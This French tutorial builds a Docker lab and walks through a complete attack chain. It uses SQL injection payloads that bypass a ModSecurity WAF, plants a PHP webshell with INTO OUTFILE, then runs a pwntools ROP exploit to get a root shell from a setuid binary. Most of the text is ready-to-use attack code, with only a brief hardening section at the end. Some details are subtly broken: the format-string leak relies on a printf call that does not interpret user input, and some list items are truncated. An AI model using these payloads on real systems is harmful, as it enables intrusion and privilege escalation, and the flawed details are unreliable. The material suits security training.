De l'accès initial via une injection SQL avancée (contournant un WAF ModSecurity avec techniques 2026) à l'obtention d'un shell root par ROP en passant par un leak d'adresse.
Ce tutoriel vous guide pas à pas dans une chaîne d'attaque réaliste, mettant en œuvre :
INTO OUTFILE après avoir désactivé secure_file_priv.setuid(0) avant execve("/bin/sh") afin d'obtenir un shell root effectif.Pour garantir la reproductibilité, nous fournissons un fichier docker-compose.yml qui lance tous les services nécessaires (Apache + ModSecurity + MySQL + PHP) dans un conteneur isolé. Ce fichier a été testé et fonctionne avec Ubuntu 24.04.
version: '3.8'
services:
lab:
image: ubuntu:24.04
container_name: vuln-lab
privileged: true
ports:
- "8080:80"
volumes:
- ./www:/var/www/html
- ./bin:/home/labuser/bin
- mysql-data:/var/lib/mysql
command: >
bash -c "
export DEBIAN_FRONTEND=noninteractive &&
apt-get update &&
apt-get install -y apache2 php libapache2-mod-php php-mysql mariadb-server libapache2-mod-security2 git python3-pip gdb gdbserver wget sudo &&
pip3 install pwntools &&
useradd -m -s /bin/bash labuser &&
# Cloner OWASP CRS (version 4.x)
git clone https://github.com/coreruleset/coreruleset.git /etc/apache2/modsecurity-crs &&
cp /etc/apache2/modsecurity-crs/crs-setup.conf.example /etc/apache2/modsecurity-crs/crs-setup.conf &&
cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf &&
sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf &&
echo 'Include /etc/apache2/modsecurity-crs/crs-setup.conf' >> /etc/apache2/modsecurity.conf &&
echo 'Include /etc/apache2/modsecurity-crs/rules/*.conf' >> /etc/apache2/modsecurity.conf &&
a2enmod security2 &&
# MySQL setup
service mariadb start &&
mariadb -e \"SET GLOBAL secure_file_priv = '';\" &&
mariadb -e \"CREATE DATABASE IF NOT EXISTS lab;\" &&
mariadb -e \"CREATE USER IF NOT EXISTS 'labuser'@'localhost' IDENTIFIED BY 'labpassword';\" &&
mariadb -e \"GRANT ALL PRIVILEGES ON lab.* TO 'labuser'@'localhost'; FLUSH PRIVILEGES;\" &&
mariadb lab -e \"CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50), role VARCHAR(20));\" &&
mariadb lab -e \"INSERT IGNORE INTO users VALUES (1,'admin','admin123','admin'),(2,'user','userpass','user'),(3,'guest','guest','guest');\" &&
echo 0 > /proc/sys/kernel/randomize_va_space &&
service apache2 start &&
tail -f /dev/null
"
volumes:
mysql-data:
Créez les répertoires nécessaires sur votre machine hôte :
mkdir -p www bin
# Placez ensuite le fichier index.php dans www/ et les codes sources C dans bin/
docker-compose up -d
# Attendez quelques secondes que tout s'initialise
docker exec -it vuln-lab bash # pour entrer dans le conteneur si besoin
Placez ce fichier dans le dossier www/ :
<!DOCTYPE html>
<html><body>
<h1>Recherche d'utilisateur</h1>
<form method="GET">
ID : <input type="text" name="id">
<input type="submit" value="Chercher">
</form>
<hr>
<?php
$mysqli = new mysqli("localhost", "labuser", "labpassword", "lab");
if ($mysqli->connect_error) {
die("Connection failed: " . $mysqli->connect_error);
}
if (isset($_GET['id'])) {
$id = $_GET['id'];
// 🔥 Vulnérabilité : pas d'échappement
$sql = "SELECT * FROM users WHERE id = $id";
$result = $mysqli->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "ID: " . $row["id"]. " - Username: " . $row["username"]. " - Role: " . $row["role"]. "<br>";
}
} else {
echo "Aucun résultat.";
}
}
?>
</body></html>
Le conteneur crée automatiquement la base et la table. Vérifiez avec :
docker exec vuln-lab mariadb lab -e "SELECT * FROM users;"
Accédez à l'application sur http://localhost:8080/?id=1. Vous devriez voir les informations de l'admin. Essayez ?id=1' : le WAF bloque avec une 403. Vérifiez les logs :
docker exec vuln-lab tail -f /var/log/apache2/modsec_audit.log
Voici plusieurs méthodes qui fonctionnent encore sur des configurations CRS 4.x avec paranoia level 2 (le défaut).
?id=1%2527%20UnIoN%20SeLeCt%201,2,3-- -
Le serveur décode une fois, modsecurity voit une chaîne encodée, si la règle ne décode pas deux fois, elle passe.
?id=1 /*!union*/ /*!select*/ 1,2,3-- -
Cette technique contourne les règles simples qui cherchent les mots-clés séparés par des espaces.
Bien que notre application PHP ne lise que GET, pour une API JSON, on pourrait faire :
curl -X POST -H "Content-Type: application/json" -d '{"id": "1 union select 1,2,3--"}' http://localhost:8080/
?id=1&id=union&id=select&id=1,2,3--
Si l'application concatène les valeurs, cela peut fonctionner.
Cette technique récente utilise l'encodage UTF-7 ou UTF-16 dans les requêtes multipart. Le principe est d'envoyer une requête multipart avec plusieurs parties : la première avec charset=utf-7 contenant le payload SQLi encodé en UTF-7, et une autre partie avec charset=utf-8 (légitime). Le parseur peut mal interpréter l'ensemble. Exemple avec curl :
curl -X POST -F "id=1+ADw-script+AD4-alert(1)+ADw-/script+AD4-" http://localhost:8080/
Pour SQLi, on peut encoder les mots-clés : UNION+AC0- etc. Cette vulnérabilité a été corrigée dans CRS 4.22.0. Si votre WAF n'est pas patché, cela peut passer.
sqlmap intègre des tampers qui imitent les contournements courants. Exemple :
sqlmap -u "http://localhost:8080/?id=1" \
--batch --level=3 --risk=3 \
--tamper=space2comment,randomcase,between,charunicodeencode,versionedmorekeywords \
--dbs --technique=BEUSTQ
Supposons que nous ayons trouvé une injection valide, par exemple :
?id=1 /*!union*/ /*!select*/ 1, load_file('/etc/passwd'), 3-- -
Cela affiche le contenu de /etc/passwd. On voit alors qu'il existe un utilisateur labuser avec un shell.
Pour écrire un fichier, il faut que MySQL ait le privilège FILE et que secure_file_priv ne restreigne pas le répertoire. Dans notre lab, nous avons désactivé cette variable globalement. On peut alors :
?id=1 /*!union*/ /*!select*/ 1, "<?php system($_GET['cmd']); ?>", 3 into outfile "/var/www/html/shell.php"-- -
Ensuite, on exécute des commandes : http://localhost:8080/shell.php?cmd=id → on obtient www-data.
Depuis le webshell, listez les répertoires pour trouver le binaire vulnérable. Nous avons placé vuln et vuln_pie dans /home/labuser/bin/ (volume monté). Téléchargez-les sur votre machine d'attaque :
curl "http://localhost:8080/shell.php?cmd=cat%20/home/labuser/bin/vuln" --output vuln
curl "http://localhost:8080/shell.php?cmd=cat%20/home/labuser/bin/vuln_pie" --output vuln_pie
Ou en base64 pour éviter les problèmes binaires :
curl "http://localhost:8080/shell.php?cmd=base64%20/home/labuser/bin/vuln" | base64 -d > vuln
Nous allons créer deux versions du binaire (à placer dans bin/ sur l'hôte). Compilez-les dans le conteneur (car les binaires doivent être setuid root).
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vuln() {
char buffer[64];
printf("Entrez votre nom : ");
gets(buffer); // Vulnérable !
printf("Bonjour, %s\n", buffer);
}
int main() {
vuln();
return 0;
}
Compilation dans le conteneur :
docker exec -it vuln-lab bash
cd /home/labuser/bin
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
sudo chown root:root vuln
sudo chmod 4755 vuln # setuid root
exit
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vuln() {
char buffer[64];
printf("Entrez votre nom : ");
gets(buffer); // Toujours vulnérable
printf("Bonjour, %s\n", buffer);
}
int main() {
vuln();
return 0;
}
Compilation avec protections par défaut :
docker exec -it vuln-lab bash
cd /home/labuser/bin
gcc -o vuln_pie vuln_pie.c
sudo chown root:root vuln_pie
sudo chmod 4755 vuln_pie
exit
Vérification des protections :
checksec --file=vuln_pie
# Résultat attendu : PIE activé, canary, NX, RELRO partiel
setuid() dans son code. C'est le flag setuid qui fait que le processus tourne avec les privilèges root. L'exploit devra soit ne pas perdre ces privilèges (en évitant de faire un exec sans setuid), soit appeler explicitement setuid(0) avant execve. Nous ferons cette seconde approche.
Commençons par vuln (sans PIE). Vérifions ses protections :
checksec --file=vuln
# NX activé, pas de PIE, pas de canary
Nous devons contourner NX avec ROP. Mais avant cela, nous avons besoin d'un leak pour connaître l'adresse de la libc (car nous n'avons pas de gadget syscall dans le binaire). Heureusement, le programme affiche notre entrée via printf. On peut utiliser cela pour leak une adresse de la stack ou de la libc.
Envoyons une chaîne de format : %p %p %p ... pour voir ce que nous pouvons récupérer.
from pwn import *
p = process('./vuln')
p.sendline(b'%p.'*20)
print(p.recvall())
On obtient des adresses. L'une d'elles est probablement l'adresse de retour de vuln (qui pointe vers main). On peut aussi trouver une adresse de la libc (ex: __libc_start_main+240).
Pour trouver le bon offset, on peut utiliser gdb :
gdb ./vuln
break *vuln+50 # après le gets
run
# Envoyer "AAAA%p.%p.%p..."
# Puis x/50gx $rsp pour voir où se trouve notre chaîne et repérer les adresses
L'offset varie selon la compilation. Notez que l'adresse de la libc (par exemple celle juste après le main) est souvent à un offset comme 11 ou 15.
On va utiliser la même vulnérabilité de format pour leak une adresse de la libc (par exemple l'adresse de retour après printf). Ensuite, on calcule la base de la libc et on appelle system("/bin/sh") après avoir réglé setuid(0).
#!/usr/bin/env python3
from pwn import *
# Configuration
binary = './vuln'
context.binary = binary
# À adapter selon votre version de libc (ici Ubuntu 24.04)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def get_leak(p):
p.sendlineafter(b'nom :', b'%15$p') # offset à trouver avec debug
leak = p.recvline().strip().decode()
return int(leak, 16)
p = process(binary)
# Étape 1 : Leak d'une adresse de la libc via format string
# L'offset peut varier, on le trouve en essayant %p %p etc.
# Ici on suppose que %15$p donne l'adresse de retour dans libc
leak_addr = get_leak(p)
log.info(f'Leak: {hex(leak_addr)}')
# Calcul de la base libc : offset de __libc_start_main_ret dans cette libc
# Trouvez le vôtre avec : readelf -s libc.so.6 | grep __libc_start_main
offset_libc_start_main_ret = 0x240b3 # à vérifier (Ubuntu 24.04 libc-2.39)
libc_base = leak_addr - offset_libc_start_main_ret
libc.address = libc_base
log.info(f'Libc base: {hex(libc_base)}')
# Étape 2 : Construction du ROP pour setuid(0) et system("/bin/sh")
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh = next(libc.search(b'/bin/sh\x00'))
# ROP chain : pop rdi; ret + 0 + setuid + pop rdi; ret + binsh + system
payload = b'A'*72 # offset trouvé avec cyclic
payload += p64(pop_rdi) + p64(0)
payload += p64(libc.symbols['setuid'])
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(libc.symbols['system'])
p.sendline(payload)
p.interactive()
Ce script suppose que nous avons trouvé le bon offset pour le leak et l'offset de __libc_start_main_ret. En pratique, il faut ajuster avec GDB.
Ici, nous avons un canary à contourner. Le printf peut aussi leak le canary car il se trouve sur la stack. Il faut d'abord trouver son offset, puis l'inclure dans le payload final pour ne pas déclencher le check.
Avec une chaîne de format comme %p.%p.%p..., on repère une valeur qui ne change pas entre deux exécutions (le canary se termine par 0x00). Exemple :
p.sendline(b'%11$p') # offset à trouver
On récupère le canary.
L'adresse de retour de vuln pointe vers main dans le binaire. En la leakant, on peut calculer la base du binaire.
Avec la base du binaire et la base de la libc (obtenue via un autre leak), on peut construire la même chaîne que précédemment en incluant le canary.
Un one_gadget est un offset dans la libc qui exécute execve("/bin/sh", ...) si certaines conditions sur les registres sont remplies. Cela permet de réduire la longueur de la ROP chain. Trouvez un one_gadget avec :
one_gadget /lib/x86_64-linux-gnu/libc.so.6
Choisissez celui dont les contraintes sont satisfaites (souvent [rsp+0x30] == NULL). Dans la ROP chain, il suffira de mettre l'adresse du gadget après avoir réglé les registres éventuellement.
Après avoir développé l'exploit localement, nous le transférons sur la machine cible via le webshell (ou via wget depuis un serveur HTTP). Nous exécutons le script Python (si Python est installé) ou nous le compilons en binaire avec PyInstaller. Le résultat : un shell root.
python3 exploit.py
Ou, si le binaire est sur la cible :
./exploit
gets. Désactiver les binaires setuid inutiles. Utiliser ASLR au niveau système (kernel.randomize_va_space=2).ptrace, les longues chaînes de format, les tentatives d'exécution de shell. Mettre en place un IDS/IPS.one_gadget pour trouver un gadget dans la libc qui exécute execve("/bin/sh", ...) après avoir vérifié les contraintes.Ce tutoriel vous a présenté une chaîne d'attaque complète et moderne : injection SQL avec contournement WAF, obtention d'un shell, puis exploitation d'un binaire setuid par ROP avec leak. Vous avez vu comment les techniques évoluent et comment les contournements actuels s'adaptent aux défenses. Utilisez ces connaissances pour renforcer vos systèmes, jamais pour les attaquer.
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space